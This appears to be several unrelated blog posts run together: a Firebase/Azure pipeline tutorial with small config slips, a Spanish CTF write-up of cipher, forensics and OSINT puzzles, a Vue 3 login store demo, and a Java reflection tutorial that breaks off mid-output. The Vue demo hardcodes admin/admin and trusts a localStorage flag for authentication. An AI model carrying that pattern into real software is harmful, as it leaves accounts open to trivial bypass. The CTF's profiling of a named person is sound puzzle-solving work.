You can replace your pipeline content with the one below, it is pretty basic but it is enough for this demo.

trigger: 
  - master

pool:
  vmImage: 'macos-latest'

steps:
- task: JavaToolInstaller@0
  inputs:
    versionSpec: '11'
    jdkArchitectureOption: 'x64'
    jdkSourceOption: 'PreInstalled'
  display:

- task: Gradle@2
  inputs:
    workingDirectory: ''
    gradleWrapperFile: 'gradlew'
    gradleOptions: '-Xmx3072m'
    publishJUnitResults: false
    testResultsFiles: '**/TEST-*.xml'
    tasks: 'assembleDebug'
  displayName: 'Building apk'
  
- task: NodeTool@0
  inputs:
    versionSpec: '12.x'
  displayName: 'Install Node.js'


- task: CmdLine@2
  inputs:
    script: 'npm install -g firebase-tools'
    workingDirectory: '$(Agent.ToolsDirectory)'
  displayName: 'Install firebase cli'

- task: CmdLine@2
  inputs:
    script: 'firebase appdistribution:distribute $(Build.SourcesDirectory)/../s/app/build/outputs/apk/debug/*.apk --token FIREBASE_TOKEN_REPLACE --app APP_ID_REPLACEC --release-notes "Upload from azure"'

You only need to replace the FIREBASE_TOKEN_REPLACE and APP_ID_REPLACE, with the ones you have

If you get this error while running your pipeline it is because azure devops disabled parallel jobs.

You have two options to solve this matter

• Request azure devops a permission to run parallel jobs
• Stop using hosted agents and use self hosted agents

The first  requires to fill a form, and it takes them 2-3 three days to respond, mine took 2 days

The last one is probably my favorite, since you will never depend on azure virtual machines, you have full control over your machine, and there is no time limit. In another blog I'm going to teach that part.
I tried the two options,  all of them work, but for simplicity let's go for the first one.

In order to request parallelism, you need to fill this form

The email response you will get looks like this, and now you are able to run your pipelines. If you don't want to wait, go for self hosted agents

Finally when you successfully run the pipeline, you will get the app in firebase

Use AppTester

If you want to distribute this to people, you need to invite them
App distribution >  Invite links > New invite link

Share the link, and they will get an email invitation, with steps inside, you will download apptester from there.

As a last step don't forget to distribute the build to your testers, just click in the build and add testers to notify them

In tester device , accept the invitation

Inside apptester you will  see your apps, just download and install them

Finally you have your app running in your phone

Conclusions

Well, this was a long post, I just covered the basics of each section, in future blogs I'll  explain :

• How to improve the pipeline
• Signing and distributing with different flavors
• How to improve the firebase distribution
• How to set up self hosted machines and how to manage them

“Youth is happy because it has the capacity to see beauty. Anyone who keeps the ability to see beauty never grows old.”
― Franz Kafka

Resources

• Firebase CLI
• Azure pipelines agents
• Firebase AppTester

Finally, thanks for reading my post.
Cristal

Este CTF se llevó a cabo para el hackmeeting de 2021 en el mes de noviembre, participamos como el equipo ositoscariñositos con Drayko, Israel, Gary aunque este último no pudo participar a último momento por cuestiones de la universidad, y finalmente mi persona, logramos resolver casi todos los retos (nos faltó uno porque era necesario estar presentes en el evento de Yacuiba) y sin recurrir a las pistas, de esta forma ganamos el primer lugar en la competencia.

Huevo revuelto a lo ferroviario

Puntos: 295

Chs4nc1T{03sbdy043r0Fy40hf}

Para este primer reto podemos observar que la flag se encuentra desordenada, y el título del reto nos da una pista del tipo de cifrado, luego de investigar un poco encontramos el cifrado rail fence, así que podemos buscar un decoder y obtener la primera flag  CTF{h0y3ss4b4d0yn0h4c3fr10}.

Horrocruxes

Puntos: 917

Usé un sistema empresarial conocido para tomar mis preciados archivos y dividirlos en varias piezas para protegerlos. Me sabotearon los servidores y quizás puedas ayudarme a recuperarlo.

Para este reto nos proporcionan el siguiente archivo, comencemos extrayendo los tres archivos.bin. Podemos unir los 3 archivos en uno solo con el comando cat.

Con binwalk usaremos el parámetro --extract --dd=".*" de esta forma nos aseguramos que se extraigan todos los archivos de la imagen.

Luego de realizar la extracción si revisamos la carpeta con los archivos extraídos encontramos una imagen con la flag del reto CTF{quierodormir}.

Super Mario 64

Puntos: 55

Adrián Nario es un importante empresario latinoamericano. Un fin de semana especialmente aburrido, estuvo limpiando el depósito de la casa y encontró una caja que tenía una copia de Super Mario 64, otrora su juego favorito. Debajo de la caja, encontró pegado este mensaje:

Q1RGe0dyYW5kZUNoYXlhbm5lfQ==

¿Puedes ayudarlo a descifrarlo? Quizás contiene algo que le interese...

Para este reto tenemos la flag cifrada, por el título del reto tenemos como pista que se trata de Base64, así que podemos usar algún decoder online o también usar nuestra consola linux para descifrar el mensaje.

Basista 1 << 5

Puntos: 65

Todos hablan del Basista 64, famoso asesino aterrorizante de la otrora ciudad tranquila de Wonder Will, pero nadie habla del Basista 1 << 5.

Descifra este código para identificarlo:

JJDEQRKXKNBVQS2SI5DE2VCLJ5FVMRCUJVHEEU2LKJDVKTKVKNEEUTK2KZDVCMSOJFNE4RSPKMZE6S2KJNKVOUKTKRGEEQ2UI5GVGUSKLEZFMRKWLJLUOUK2IVDVIS2HJRFEYVKXKRFTES2OJFDEWUCKGVEFKNSUGJIESPI=

Para este reto tenemos como pista el título Basista, y por la descripción descartamos Base64 así que podemos probar Base32, usemos cyberchef aplicando tres veces la opción From Base32 y conseguimos la flag CT{MuchosSabenBase64PeroPocosBase32}.

Cesar estaría orgulloso 2: La Secuela

Puntos: 85

En la Guerra Hirviente, el almirante César Torres ha desarrollado un sistema mágico de cifrado que permitía intercambiar mensajes secretos entre el emperador Belos y los ejércitos en batalla. Dicho sistema al parecer logró ser vulnerado, y nuestro amigo le dio varias vueltas de tuerca (47, de hecho) a su invención para volver a estar en la vanguardia.

Le conseguimos robar un mensaje y necesitamos tu ayuda para ver qué dice.

r%uLr6D2C$:tDE2~C8F==@D@N

Para este reto es importante leer la descripción ya que nos dan una pista, primero es importante el titulo ya que existe un cifrado cesar y segundo nos dicen que para el cifrado nuestro amigo le dio varias vueltas de tuerca "47" para ser exactos, entonces podemos usar ROT47 y obtener la flag CTF{CesarSiEstaOrgulloso}.

Molestemos a tu cerebro

Puntos: 350

Decodifica el mensaje adjunto.

Para el reto tenemos el siguiente archivo, su contenido es el siguiente:

Vm0xNGIyUXhSbkpOVm1SVVlrZFNWVmx0ZEhkWFJteHlXa1pPVjFac1NsaFdNalZyVmtVeFYyTkZhRmRXTTJoUVZsUkdZV050U2tWVmJHUlhUVEZLV1ZadGRGWmxSazVJVm10YWFGSnRVbTlVVm1oRFYwWmFSMVp0UmxkTmF6VjZWbGMxUzJFeFNuTlhiazVhWVRGd00xVXdXbUZrUjFaSFdrVTFVMkpHY0VsV2ExcHZZVEZTYzFkc2JGSmlSbkJoV1ZSS1UxWkdWWGhYYlVaVVZqQTFTRmRyV2s5Vk1rcEhZMFJXVjAxdVVsaFVWVnBXWlVaT2MyRkdXbWxTYkhCWlYxWmtNRmxXVmtkWFdHaFlZWHBzY1ZSWGN6RlRSbXhXVjJzNVZXSkZiRE5VYTFKTFZqRmtTVkZyVWxwV1JWcFlWbXBHVTJSV1RuUlNiRTVYVFZWd1YxWXllR3RsYXpGWFUyNU9XR0pzU25GVVZFcHZWakZTVjFkdVRrOVNiR3cxV1ROd1IxWlZNVmRqUm5CYVZsWmFjbFp0YzNoV01VNXpZVVphYVZKdVFreFhiRlpoWkRGSmVWSnJaRlpoZWxaWVZGUktiMVJzV25STlZGSldUVlpHTkZVeU5VOVdNV1JJWVVaV1dsWkZXa3hXYTFwelZsWlNjbFJzV2xOaVJsa3dWbXBLTkZReFZYbFRhMlJUWVdzMWFGWnNXbmRqYkZwelYyMUdhbUpWTlVkV01uaHJZVlprUms1SWNGZFNiSEJvVmxSR1MyTXhaSFZUYlhCVFlrWndXVmRYZUc5aU1XUlhWMnhzYWxKWFVuSlVWbHBMVTBaa2NsZHRSbWhXYTNCYVZsZDRiMVpXV2xkalJtUmhWbXh3VkZZd1pGTlNWa1p6Vkd4T2FFMXVaRFpXYkZKTFpXczFWMVpZYkZSaE1YQllXVmQ0WVZZeFduRlViVGxVVW14Wk1sVnRlR3RXTURGeVRsVm9WMDF1YUZCV2FrWkxZMnhrVlZKc1pHaGhNamt6VjJ4a2VtVkdXWGhhUm14aFVqSm9WRll3Wkc5WFJscDBaRVphVGxac1NucFdiWEJoVlRKS2MyTklUbGRpV0dneldsZDRZVk5IVGpaU2JHUnBWbGhDUzFaV1pEUlJNVmw0VTFod2FGSlhhRmhaVjNSaFZURndSVkZVUmxkaGVrWllWbTF6TVZVeVZuUmFla0pYWWxSRk1GZFdXbHBsUms1MVUyczFXRkpZUW5sV1YzQkRXVlphYzFadVRsZGliVkpWV1d0YVlXVkdWblJPVlRsWFRWWndlbGt3Vm10WlZrcFhWMVJDVjFaRmNFZGFWV1JQVWpKR1IxZHNaRk5XVm10M1ZtMTRVMUl5UlhsVWJrcFFWbTFTVmxsclduZGpSbFowWlVoa1YxSnNjSHBXVjNSclZtc3hWMU51Y0ZkV00yaG9Wa2Q0V21ReFpITmhSbVJvVFZoQ1NGZHJVa2RXTWs1elYyNUtVRlpzU2xSWldIQlhWakZhVlZOcVFsZE5WbkJZVmpJMVMxUXhXbFZTYkdSYVlrZG9VMXBFUmxkT2JFcHpZMGQwVGxZeFNqWldha3A2VFZaU2MxUnJhR2hTTW1oWVdWUktVbVF4VmpaU2JVWlRUVlUxZWxZeWVFTldNa3BYVTJ4YVYxSnNXblpaYWtaT1pVWmtjbUZIZUZOTk1VcFpWa1phWVdReFpFZFhXR2hvVTBVMVdGbFljRWRUYkZwWVpVYzVWMkpWY0ZwV1YzaHZWbXN4ZFdGSVNsZGhhM0JRVldwR1UyTXhWbk5hUjJ4WVVqSm9NbFp0TUhkbFJURkhWVmhvVm1Kck5WVlpWRVozWTBaV2MxcEhPVlpOVjNoV1ZrZDRUMWRHU25OWFZFcFdWbTFvZGxac1drdGpNazVIV2tad2FXSnJTa2xXYkZKSFV6Sk5lRlJ1VGxkaVJscFlWV3hXY21ReFdsaGtSMFpWWWxaYVNWWkhkR0ZoTVVweVRsVTVWMkpZYUROV2FrWmhWMGRTUjFSc1VrNVdhM0EyVm14a05GWXhXa2hTV0d4b1VteGFWbFp0ZUdGTk1WcEhWMnhPV0ZJeFNrWldWM2hMVkd4YWMxZFVRbGRoYTI5M1ZHdGFZVmRHU2xsalIwWlRVbXh3V1ZaWGVHRlpWMVp6V2taa1dHSlZXbkZaV0hCSFVteFZlV1ZIZEZaTlZuQjVXVEJXZDFZeFdrWmlla0phWld0YVMxcFZXbUZqTVhCSFdrWm9WRkpWY0ZoV01WcFRVekZWZUZSclpGaGlhelZZV1d0YWQxUXhWbk5WYTJSc1VteFdOVnBWV2s5V01VcFZVbXRhVjJKWVVqTldiVEZMVjFaU1ZWSnNaR2xYUjJodlZsY3dlRk14U25SVmExcFFWbTFTV0ZsVVRrTlhWbHB5V2tSQ1ZrMVdSalJWTW5SclYwZEtjbU5HUWxkaVIyaFVWbXRhVjJNeGNFZFViR1JYWWtoQ05sWnRNWGRSTVZsM1RWWmFhVkpHU2xkWmEyUnZaV3hhVlZGWWFGTk5WMUo2VmxkNFlWUnRTblJoUnpsWFlURmFWMVJXV21Ga1JsSnlWMjFHVTJKR2NGbFdWM2hUVmpGS2MxZHNhR3BTVlRWUVZXMXplRTVHV1hsT1ZUbFhUV3R3U0Zrd1dtdFdWbHBYWTBWNFZrMUdjRmRhVnpGUFVqRndSMkZIYkZOV1JscEpWbXRhWVZsWFJYaFdXR2hVWWtkNGIxVnNVa2RXTVd4ellVVk9WbEpzV25oVmJYUmhZa1pLZFZGclpGZFdNMmhVVmtkNFNtVkdUbkpXYkdSb1RWaENiMWRXWTNoV01WcHlUVlpzVkdKR1dtOWFWM1JoVm14a1dHUkhPVkpOVlhCWVZtMDFVMkZyTUhsVmJrNVhZbGhTTTFWcVJtRlhSMDE2WVVaYWFWWllRa2xYVkVKaFdWWmFjazFXWkdwU01taFlXVlJHZDFNeGNFVlJXR2hYVFZaS2VsWlhlR3RoVmxweVkwVmtWMkpZVW1oWFZscFdaVVpTYzFwR1VsaFNNVXA0VmxkNGIxVXhaRWRqUm1oclUwVndjbFJXV2t0WGJHdDNWbXBDVjFZd2NFaFpNR2h6VmxaYWMxZHRhRmRTUlZwTVdUSjRZV05XWkhOWGJXaE9WMFZLUmxac2FIZFNNVnAwVlZoc1UyRXhjRmRaYTJSVFYwWnNXV05HWkZSTlZuQjVWbGQwVDFaRk1WWmpSbWhYVFZkb2NsWXljM2RsVjFaR1QxWldWMVl5YURKV2JHUTBWakpTU0ZSWWNHaFNiVkpZV1ZSR2QxZEdXa2hsUm1SUFVteFdNMVJXVm5OV2JVcElZVVprV2xaRldtaFpNbmhoVjBkTmVtRkhjRmRoZWxZMlZtMHhORlV4VW5OWGJsWlNZa1phV0Zsc2FGTlhSbHB4VW0xR1YwMVZOWGxYYTJSM1ZURlplbUZHVmxoV2JXZ3pWV3BHVDFZeFdsbGhSbHBvWlcxNFYxWlhlRk5TTWxaWFdraEtXR0Y2YkZoV2JYUjNWMVphUjJGSGRGZE5hMVkwV1RCYVExWXhXbk5qUmtKYVRWWndhRmt5YzNoV01WSnpXa2RzVTJKclNsbFdiWGh2WkRGSmVGSllhRlZpYTNCUVZteGFZVlpXYkhKYVJ6bFlVbXh3TUZSV1drOVdNVnB6WTBSQ1lWSlhUVEZXVkVGNFYwWldkV05HYUdoTlZtOTZWbTB3ZUZKdFVYZE9WbVJYWWtkU1ZGUlVTbTVsYkZwWlkwVmtXbFl3TlhsVU1WWlhWVzFLU0dGSVFsWmlSMmhFVmxWYVlXTXhjRVZSYXpsVFlsWktXVlpYTVRSV01WcElVbGh3YUZKdGFGaFphMlJTVFVaYWNWSnNUbGhTTVZwSVYydGFWMkZXU25WUmEyeFhWa1Z2TUZWNlJtRlNNVTV6V2tab2FWWXlhRmxYVm1Rd1V6QTFjMk5HWkZoaVZWcFVXV3hXZDFJeFVsZFhiRTVvVm10d1dsVlhkRzlXTVZwR1YyeFNWMUpGV2t4V2FrWkxaRlpPZEdKSGVHaE5XRUpWVm10YVlXRXhWWGhpUm1SWVlrZDRjVlZzYUZOV01WWjBaVVYwYkdKR2JEVmFWV1JIVm1zeGNsWnFXbGRXTTJoMlZtMTRXbVZ0UmtaaFJscE9ZbTFvZVZkWWNFdFRNVWw0V2toS1VGWnJOWEJWTUZaTFYwWmFjMVZyVGxkaGVsWllWa1pvYjFZeFpFaFZiR1JhVmtWS00xWkVSbk5qYlVaR1ZHMW9VMkpHV1RCV2JYaFRVakZaZUZkdVRtcFNWbkJYVkZjMWIxTkdXbkpYYlVaVFZtdGFWbGxZYjNkUVVUMDk=

A simple vista parece ser Base64, podemos descifrarlo con cyberchef, al parecer está cifrado más de una vez en Base64 y es necesario combinarla con Base32, en total para encontrar el mensaje que nos interesa desciframos el texto siete veces en Base64, una vez en Base32 y finalmente una vez más en Base64.

HTTP/7.0 420 OK
X-Cabeceras-Inventadas: 1
Content-Type: text/plain
Encoding: base64
Compression: Deflate

fVEBCsQwCHtQMS8ofmTc/78xFWyNsgussjWJma6DR5da8ceR1bAN8lNVEYEfBGyjoND/ArtbhJ45aqy8TWPkh6Jk3ysBs7jDjFrI2cNEPXdIG6//WvfxVsN9RL8nceOlt4gIk5ujbLNE7Owz8Yl9Z8IJ6hTOAj5X+wI=

El reto no acaba aquí, tenemos como resultado lo que parece ser la información de una petición HTTP, un mensaje cifrado y lo más importante para continuar es la pista Compression: Deflate, buscamos un decoder deflate to text.

Lo que obtenemos es el siguiente mensaje cifrado, al parecer es el lenguaje esotérico brainfuck.

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>---.>----------------.<+++.>+++++++++++++++++++++++++++++++++++++++.<-.>-------------.<++++++++++++++++.>.<--------.>+++++++.-------.----------.+++++++++++.<---------.>.-.----------.+.<++++++++++++.>++++++++++++++++.----------------.-.+.++++++++++++++.<+++.>--------------.+++++++++++++.<----------------.>+++.--------------------.+++++++++++.+++++.++++.------------.----.+++++++++++++.<.>---.++++.------------------.<<++++++++++++++.>>--------------.++++++++++++++++++.<--.>++++++++.------------.+.++++++++++.-------.++++++++++++++++++++++++.

Usamos un decoder brainfuck y obtenemos la flag del reto: CTF{EnUnMundoDondePuedesSerCualquierCosa,SeAmable}

Cifrado Yaz: La guerra de los platos

Puntos: 768

En las tierras de Cochalandia se va peleando una batalla silenciosa entre dos bandos que se detestan: el Team Pique Macho y el Team Charque. Los primeros tienen más poder y lograron conseguir a alguien que les cree su propia Enigma: el código yaz, un algoritmo único para ocultar sus mensajes simulando ser risa de teclado. Es un cifrado hecho a mano, asi que no hay herramientas conocidas.

Pero el team Charque tiene a gente talentosa y entre ellos estas tú. Tu tarea es romper el cifrado y descifrar el mensaje.

1JDJ1JSK1KPJ9J1KLJJN1KMJJN9J1J5JJN8KJN9J5J6KRJ1KGK8J7J9J2JMJJN9JJNSJ2KJNBKJN8JJN5JJN9JJNSKJN1KLJJN9JJNYK9K2KJNSJPKJN3KLKCJ2J9KLJ2K9KRK2KVKJN9J2KJNSK3JJN8JJNQKJNJN

Formato: si el texto que conseguiste dice hola mundo, tu bandera es TOC{hola mundo}. Hay una pista paga disponible.

Según la descripción el cifrado es hecho a mano y no hay herramientas conocidas, veamos si es cierto haciendo búsquedas avanzadas con Google.

Encontramos una página con un decoder de cifrado yaz (al parecer la página es del mismo creador del reto) y de esta forma obtenemos el mensaje cifrado.

Por último, ponemos el mensaje descifrado en el formato correcto y obtenemos la flag TOC{quise ver el eclipse y las nubes me jugaron una mala pasada}.

Cifrado Yaz: ya no hay backdoor

Puntos: 900

Un equipo fue pagado para romper el código, y aunque entregó algunos resultados, no pudo entregar las especificaciones técnicas del cifrado y así demostró ser fraudulento.

Aunque también te contactaron por medio de alguna amistad buena onda xd, quizás tú si sepas romper el código de verdad.

1KJNRKJN3JPKSK2KJNRKJN9KJNSK2JRJJNTJJN9KJNSJ6KJNDK9KJN6JJN5J8KJNJN

Formato: si el texto que conseguiste dice hola mundo, tu bandera es TOC{hola mundo}. Puedes usar la pista del anterior ejercicio.

Otro reto con el cifrado yaz, y cuando se publicó el reto la página usada anteriormente ya no estaba disponible, por suerte la noche anterior intentamos entender el funcionamiento del cifrado yaz, empezamos cifrando las vocales y los espacios en blanco, de esta forma obtuvimos la siguiente información.

• U = 8
• O = 6
• I = 3
• E = 2
• A = 1
• " " = 9
• "basura" = KJN

Además, que al momento de cifrar el mensaje se gira el orden del texto.

Entonces cambiando los números "9" por espacios en blanco, quitando las partes que contienen las letras "KJN", cambiando los valores que conocemos y finalmente girando el orden del texto obtenemos el siguiente mensaje:

U56 D6S TR2S R2SPJ3R1

Entonces nuestra flag final es TOC{uno dos tres respira}.

Libros y más libros

Puntos: 240

Encuentra el libro que Danna Suarez Quito afirma públicamente le ha estado gustando más estos días.

Formato: si el nombre del libro que conseguiste se llama Álgebra, de Aurelio Baldor, tu bandera es CTF{Álgebra}.

Buscando perfiles de usuario en diferentes plataformas encontramos un perfil en Instagram pero que no nos dio mucha información, pero si seguimos buscando encontramos una página que parece interesante, ya que tiene el nombre completo de nuestra búsqueda.

En esta página no vemos nada relacionado a libros, pero sí podemos ver el perfil en otra página.

Finalmente encontramos un perfil en blogger donde si podemos ver el libro favorito.

Entonces la bandera del reto será CTF{If Tomorrow Comes}

Paseando al gato

Puntos: 120

Fui a pasear al gato 🐱: estuvo mirando el vecindario y le gustó treparse a los árboles. Naturalmente, les pasé una foto a mis amigos.

Encuentra la bandera.

El reto nos da la siguiente imagen aplicando algunos filtros para buscar la flag por medio de estenografía en la imagen no encontramos nada.

Entonces algo que podemos revisar son los metadatos de la imagen con la herramienta Exiftool.

De esta forma encontramos en la sección modelo de cámara lo que parece ser un mensaje cifrado.
Probando varios tipos de cifrado al final encontramos primero debía usarse HEX y luego ROT47 y obtenemos la flag CTF{YaSePrepararEmpanadas}.

Inteligencia I: Fideos con puré

Puntos: 350

Un día mientras revisaba un basurero un servidor random de Discord, publicaron esta pista de audio. Tu misión es encontrar el artista, pero sobretodo, el álbum.

Formato: Si crees que el álbum es "Fuegos Artificiales", tu bandera es CTF{Fuegos Artificiales}.

Para este reto tenemos el audio de una canción que al parecer es punk argentino, y el título del reto "Fideos con puré" es parte del coro de la canción, así que busquemos más información.

Luego de buscar en Google "fideos con puré canción punk" y revisar los resultados encontramos una pagina en la que podemos ver la letra, el nombre del grupo y lo que más nos interesa para el reto, el nombre del álbum: Neoliberalismo
Por lo tanto la flag del reto es: CTF{Neoliberalismo}

La aguja en el pajar (Remix)

Puntos: 450

El clásico ejercicio, pero con sombrero nuevo.

Comenzamos viendo el contenido del archivo del reto, al parecer son 2000 imágenes que a simple vista son iguales

Lo que podemos hacer es ver los metadatos para ver si encontramos algo interesante.

Vemos que en la sección de Comment hay un mensaje que parece cifrado, luego de hacer algunas pruebas vemos que se usa Base32 para descifrar el mensaje y tenemos lo siguiente.

Parece ser que esta no es la flag correcta, pero podemos intentar ver la sección Comment de todas las imágenes con el uso de pipes para saber si hay alguna distinta del resto.

Y encontramos un mensaje que es distinto al resto, si lo desciframos en Base32 obtenemos la flag CTF{acl4ssich4yst4ck&n33dlepr0blem}.

Y con eso terminamos los retos del CTF. Al final la puntuación estuvo muy reñida y ganamos gracias a no usar nuestros puntos en conseguir pistas, espero les gustara el write-up. Cualquier duda o reclamo lo pueden hacer en la sección de comentarios y estén atentos ya que próximamente se publicará el write-up del CIDSI 2021 con retos igual de interesantes.

Regards and happy hacking!

Holas, justamente estoy trabajando en un proyecto personal y se me ocurrió la loca idea de crear un global store sin usar vuex, con las nuevas adiciones de vue 3 de provide, inject, y composables. Si no están muy enterados de como van estas nuevas features se las resumo.

¿Qué es Provide / Inject?

Usualmente para comunicar datos entre componentes se utiliza los props y los emits, que estos tieneden que ser opciones explícitas y/o morosas, en el sentido de que hay que formar un "camino" entre los componentes para recibir o enviar datos. Y ahí es donde llega el provider/injection al rescate, donde en el provider declaramos la data y los eventos que se transmitirán a los hijos y con el inject interceptamos esto sin necesidad de ese "camino". Si desean ver la documentacion oficial Provide / inject.

¿Qué son los Composibles?

Los composables es la nueva manera de reutilizar funcionalidades similar a los customHooks en react, se puede acceder al api de vue y formar la logica dentro de este para luego exponer los metodos o propiedades que quieras que sean accesibles, la documentacion da unos cuantos ejemplos Composables.

Contexto del experimento

Queremos crear un store usando composables y provide / inject donde podamos decir que es un root store de la aplicación, como ejemplo una feature de login en la App, donde administramos el estado de autentificación desde un composable y para interactuar con este usaremos providers e injections.

Codeando

useAuth.js

import { ref, provide, readonly } from "vue";
import { useRouter } from "vue-router";
import { getItemLocalStore } from "../lib/localStoreItem";

export const useAuth = () => {
    const router = useRouter();
    const isAuthenticated = ref(getItemLocalStore("isAuthenticated", false));

    const login = ({ name, password }) => {
        if (name == "admin" && password == "admin") {
            isAuthenticated.value = true;
            localStorage.setItem("isAuthenticated", isAuthenticated.value);
            router.push({ name: "Home" });
        }
    };

    const logout = () => {
        isAuthenticated.value = false;
        localStorage.setItem("isAuthenticated", isAuthenticated.value);
        router.push({ name: "Login" });
    };

    provide("auth_login", login);
    provide("auth_logout", logout);
    provide("isAuthenticated", readonly(isAuthenticated));

    return {
        isAuthenticated: readonly(isAuthenticated),
        login,
        logout,
    };
};

router/index.js

import { createRouter, createWebHistory } from "vue-router";
import { getItemLocalStore } from "../lib/localStoreItem";

const Login = () => import("../views/Login.vue");
const Home = () => import("../views/Home.vue");

const routes = [
    {
        path: "/",
        component: Home,
        meta: { auth: true },
        name: "Home",
    },
    {
        path: "/login",
        component: Login,
        meta: { auth: false },
        name: "Login",
    },
];

const router = createRouter({
    history: createWebHistory(),
    routes,
});

router.beforeEach((to, _, next) => {
    const isAuthenticated = getItemLocalStore("isAuthenticated", false);
    if (to.meta.auth && !isAuthenticated) {
        next({ name: "Login" });
    } else if (!to.meta.auth && isAuthenticated) {
        next({ name: "Home" });
    } else {
        next();
    }
});

export default router;

App.vue

<script setup>
    import Header from "./components/Header.vue";
    import { useAuth } from "./composables/useAuth";
    useAuth();
</script>

<template>
    <div class="app">
        <Header />
        <router-view></router-view>
    </div>
</template>

Con estos tres archivos ya estamos listos para poder ya administrar todo el estado de auth en nuestra aplicación.
Y de esta manera podemos inyectar auth_login para poder loguearnos desde la vista de Login. Y si necesitáramos alguna otra funcionalidad relacionada a auth es fácil agregarlo e inyectamos esa nueva característica en donde lo necesitemos sin estar creando el camino entre componentes.

views/Login.vue

<script setup>
    import { inject, ref } from "vue";
    const loginProvided = inject("auth_login");

    const login = () => {
        loginProvided(data.value);
    };

    const data = ref({
        name: "",
        password: "",
    });
</script>

<template>
    <div class="login">
        <h1>Iniciar Sesión</h1>
        <form @submit.prevent="login()" class="login__fields">
            <label for="name">Nombre</label>
            <input id="name" type="text" v-model="data.name" />
            <label for="password">Contraseña</label>
            <input id="password" type="password" v-model="data.password" />
            <button type="submit">Loguearse</button>
        </form>
    </div>
</template>

Conclusión y limitaciones

El desarrollo del login fue sencillo, y termina siendo fácil de gestionar la autenticación dentro de la aplicación, y nos estaríamos olvidando de usar vuex para gestionar nuestro estado en este tipo de casos. Pero para proyectos grandes me sigo quedando con vuex por lo normado que esta. Ya que usando composables con provides/injections nos puede salir cualquier cosa, si no seguimos estándares en la implementación al desarrollar estos, y también evitaria usar este tipo de implementaciones en proyectos medianos a grandes con TypeScript por lo moroso de ir casteando los tipos en cada inyección.

Espero que les vea gustado este experimento, los veo en otro blog.
Si desean ver el código completo les dejo el repositorio: https://github.com/Avsco/vue-composable-auth.

Hace unos días tuve que acceder al valor que tenía un objeto el cual era private por lo cual "no se puede" acceder directamente, también no podía añadir un método get() que sería lo mas rápido, pero de no ser por esa restricción no habría este post. Enlace del repositorio

Java JDK

->  java -version
java version "15.0.2" 2021-01-19
Java(TM) SE Runtime Environment (build 15.0.2+7-27)
Java HotSpot(TM) 64-Bit Server VM (build 15.0.2+7-27, mixed mode, sharing)

La estructura de archivos es:

.
├── code
│   ├── Address.java
│   ├── Explorer.java
│   ├── Main.java
│   └── User.java
└── README.md

Las clases User y Address servirán de ejemplo y pruebas. Explorer contiene la funcionalidad a exponer y que explicaremos en este post, la clase Main creara instancias de User, Address y Explorer repositorio.

code/Address.java

public class Address {
    
    private String city;
    private String street;
    private int number;

    public Address(String city, String street, int num){
        this.city = city;
        this.street = street;
        number = num;
    }

    @Override
    public String toString(){
        ...
    }
}

Address.java está formado por un tipo de dato primitivo int y dos cadenas de caracteres String, estos 'atributos', que a partir de ahora los llamaremos 'campos' (field), tienen el modificador de acceso private y definen al objeto Address que no posee getters o setters.

code/User.java

import java.util.Date;

public class User {

  private final String name;
  private final String dni;
  private final Date date;
  
  private int age;
  private boolean married;
  private Address address;

  public User(String name, String dni, Address address) {
    this.name = name;
    this.dni = dni;
    date = new Date();
    age = getRandomInt(17, 35);
    married = isMarried();
    this.address = address;
  }

  private int getRandomInt(int min, int max) {
    return (int) (Math.random() * (max-min)) + min;
  }

  private boolean isMarried(){
    return age>=25;
  }

  @Override
  public String toString(){
      ...
  }
}

User.java consta de campos primitivos, cadena de caracteres, java.util.Date y Address que son tipos que encierran mas complejidad.

Ok como vemos todos los 'campos' de User y Address tienen el modificador de acceso: private y en las clases no tenemos métodos de acceso y menos modificar los valores de cada campo.

Objetivo

El objetivo es mostrar comó podemos acceder, conocer y modificar campos que tengan, en este caso, el modificador de acceso private usando métodos de la clase Object y clases del paquete java.lang.reflect.
Obtén mas información en la sección de referencias.

Algunos conceptos necesarios

• Class<?> - Representa Clases e Interfaces de una aplicación Java en ejecución. Los tipos primitivos de Java (boolean, byte, char, short, int, long, float y double) y la palabra clave void también se representan como objetos Class. La clase Class expone mas características de una clase o interfaz, la mayoría derivan del archivo del archivo class que el class loader paso a la Java Virtual Machine pero unas pocas características estas determinadas por el entorno class loading en tiempo de ejecución.

• Object.getClass() - Devuelve la clase en tiempo de ejecución del objeto

• java.lang.reflect - Permite el acceso a la información sobre los campos (fields), métodos y constructores de las clases cargadas.

Main

En la clase main definimos un objeto User, Address y Explorer; iremos llamando a los métodos de Explorer según sea necesario.

code/Main.java

class Main {
	public static void main(String[] args) {
		Address address = new Address("Duck town", "Donal Ave", 204);
		User user = new User("Donald Juan", "5896224CBN", address);
		Explorer exp = new Explorer();
	}
}

Fields - Campos

Lo primero es conocer los campos que tiene el objeto user, y ademas el tipo de dato al que pertenecen (int, String, etc.) asi que en la clase Explorer definiremos el método lookFields(Object o) para imprimir información de los campos del objeto.

Interactuando con la clase User en tiempo de ejecución llamamos al método user.getClass(), del objeto class podemos hacer la llamada al método getDeclaredFields() y lo almacenamos un objeto Field[] del paquete java.lang.reflect.Field.

Class<?> uClass = user.getClass();
Field[] uFields = uClass.getDeclaredFields(); //contiene un arreglo con los campos del objeto 'user'

Si conocemos el nombre de un campo, podemos acceder mediante el método uClass.getDeclaredField("field_name"), pero como asumimos que no conocemos cuales son, iteraremos cada uno de los objetos Field en el arreglo, y obtendremos información de cada campo del objeto User.

Primero debemos hacer accesible cada campo llamando al método setAccessible(true), ok ahora sobre el Objeto Field usaremos los métodos:

• getName() String - para obtener el nombre del campo
• getType() Class<?> - para conocer el Class del campo
• get(_Object_) Object - para obtener el valor del campo, es decir el valor que contiene el campo en la clase User, recibe como argumento el objeto al que pertenece el objeto Field, en este caso user, se debe capturar las excepciones IllegalArgumentException e IllegalAccessException.
• getModifiers() int - para obtener los modificadores de acceso del campo, consulta refect.Modifier en la sección Referencias.

Main.java

lookFields(user)

Explorer.java

import java.lang.reflect.Field;

public class Explorer {

    public void lookFields(Object o){
        Class<?> oClass = o.getClass();
        Field[] oFields = oClass.getDeclaredFields();
        for (Field f : oFields) {
            f.setAccessible(true); // hacemos accesible en campo
            System.out.print("Field name:\t" + f.getName() + "\t"); // nombre del campo/atributo
            try {
                Class<?> fclassType = f.getType(); // la clase del campo
                System.out.print("class type:\t" + fclassType + "\t");
                Object obj = f.get(o); // el valor del campo
                System.out.println("\tvalue:\t" + obj);
            } catch (IllegalArgumentException | IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

}

Salida:

Field name:     name    class type:     class java.lang.String          value:  Donald Juan
